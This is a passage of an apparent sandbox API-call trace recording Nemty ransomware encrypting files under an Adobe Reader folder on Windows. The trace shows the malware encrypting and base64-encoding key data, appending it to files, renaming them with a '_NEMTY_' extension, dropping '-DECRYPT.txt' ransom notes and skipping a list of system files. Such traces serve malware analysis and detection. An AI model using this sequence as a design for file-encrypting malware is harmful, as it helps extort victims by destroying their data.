lpUsedDefaultChar=0x0) returned 12 [0186.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CHS", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.CHS", lpUsedDefaultChar=0x0) returned 12 [0186.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0186.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0186.081] Sleep (dwMilliseconds=0x5) [0186.090] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2290b710, dwHighDateTime=0x1d561e8)) [0186.090] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2290b710, dwHighDateTime=0x1d561e8)) [0186.090] GetLastError () returned 0x0 [0186.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.091] GetLastError () returned 0x0 [0186.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.091] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.091] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.091] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0186.091] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="HsWuriEerONr5es0hPhV2IuI0G5DNXD9Qg66l2jj2KuFTclg7vIMvkYIU9cfdj+T\r\nylqIz6nwphNkMLPOUeWB0DKWzfPk1Q84BzoZ0cijOAqoRL67HQClIHx413cDM5Sv\r\nrvGJ/a4oKqtssmzqY/6u6vCdK++rkaNgNZPEM7uiyRQoYS1aoBViyj0YRMgo1rh2\r\nSH0QwE51wv/eoqymNPNcUTSOlz2ECloK6UqrXVAE3nxiTV+ropExr+70+L0ftiH6\r\nLtbh/xWGJTah6vbz07X+ioJecirrAzmpjZ1yjGvmDpS5RUFa7xuOwU+l1fqewzYz\r\nUm7uqmNjx0UF8iHwGEheFQ==\r\n", pcchString=0x653e5dc) returned 1 [0186.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0186.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.091] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\SendMail.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\sendmail.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.092] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11776) returned 1 [0186.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2e00) returned 0x6352c48 [0186.092] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.092] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2e00, lpOverlapped=0x0) returned 1 [0186.094] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.094] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2e00, lpOverlapped=0x0) returned 1 [0186.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.094] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2e00 [0186.094] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.094] CloseHandle (hObject=0x2e8) returned 1 [0186.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0186.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0186.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0186.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0186.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.095] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\SendMail.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\sendmail.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\SendMail.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\sendmail.chs._nemty_kgobjgd_")) returned 1 [0186.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0186.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0186.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.095] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0186.095] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0186.095] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0186.095] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0186.096] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0186.096] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0186.096] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0186.096] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0186.096] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0186.096] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0186.096] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0186.096] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0186.096] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0186.096] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0186.096] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0186.096] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0186.096] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0186.096] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0186.096] lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0186.096] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0186.096] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0186.096] lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0186.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0186.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0186.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0186.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0186.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0186.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0186.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0186.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0186.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0186.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.097] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.099] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.099] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0186.100] CloseHandle (hObject=0x2e8) returned 1 [0186.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0186.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0186.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0186.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0186.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0186.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0186.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0186.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0186.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.100] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.101] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.101] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0186.102] CloseHandle (hObject=0x2e8) returned 1 [0186.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0186.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0186.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.102] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2290b710, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2290b710, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0186.102] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0186.102] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2290b710, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2290b710, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.102] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0186.102] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0186.102] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x899d, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0186.102] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1 [0186.102] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1 [0186.102] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="...") returned 1 [0186.102] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1 [0186.102] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="$RECYCLE.BIN") returned 1 [0186.102] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="rsa") returned -1 [0186.102] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="NTDETECT.COM") returned -1 [0186.102] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntldr") returned -1 [0186.102] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSDOS.SYS") returned -1 [0186.103] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="IO.SYS") returned -1 [0186.103] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0186.103] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0186.103] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0186.103] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1 [0186.103] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="desktop.ini") returned 1 [0186.103] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="CONFIG.SYS") returned 1 [0186.103] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="RECYCLER") returned -1 [0186.103] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="BOOTSECT.BAK") returned 1 [0186.103] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1 [0186.103] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="programdata") returned -1 [0186.103] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="appdata") returned 1 [0186.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0186.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0186.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0186.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0186.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0186.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0186.103] Sleep (dwMilliseconds=0x5) [0186.106] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x22931870, dwHighDateTime=0x1d561e8)) [0186.106] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x22931870, dwHighDateTime=0x1d561e8)) [0186.106] GetLastError () returned 0xb7 [0186.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.106] GetLastError () returned 0xb7 [0186.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.106] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 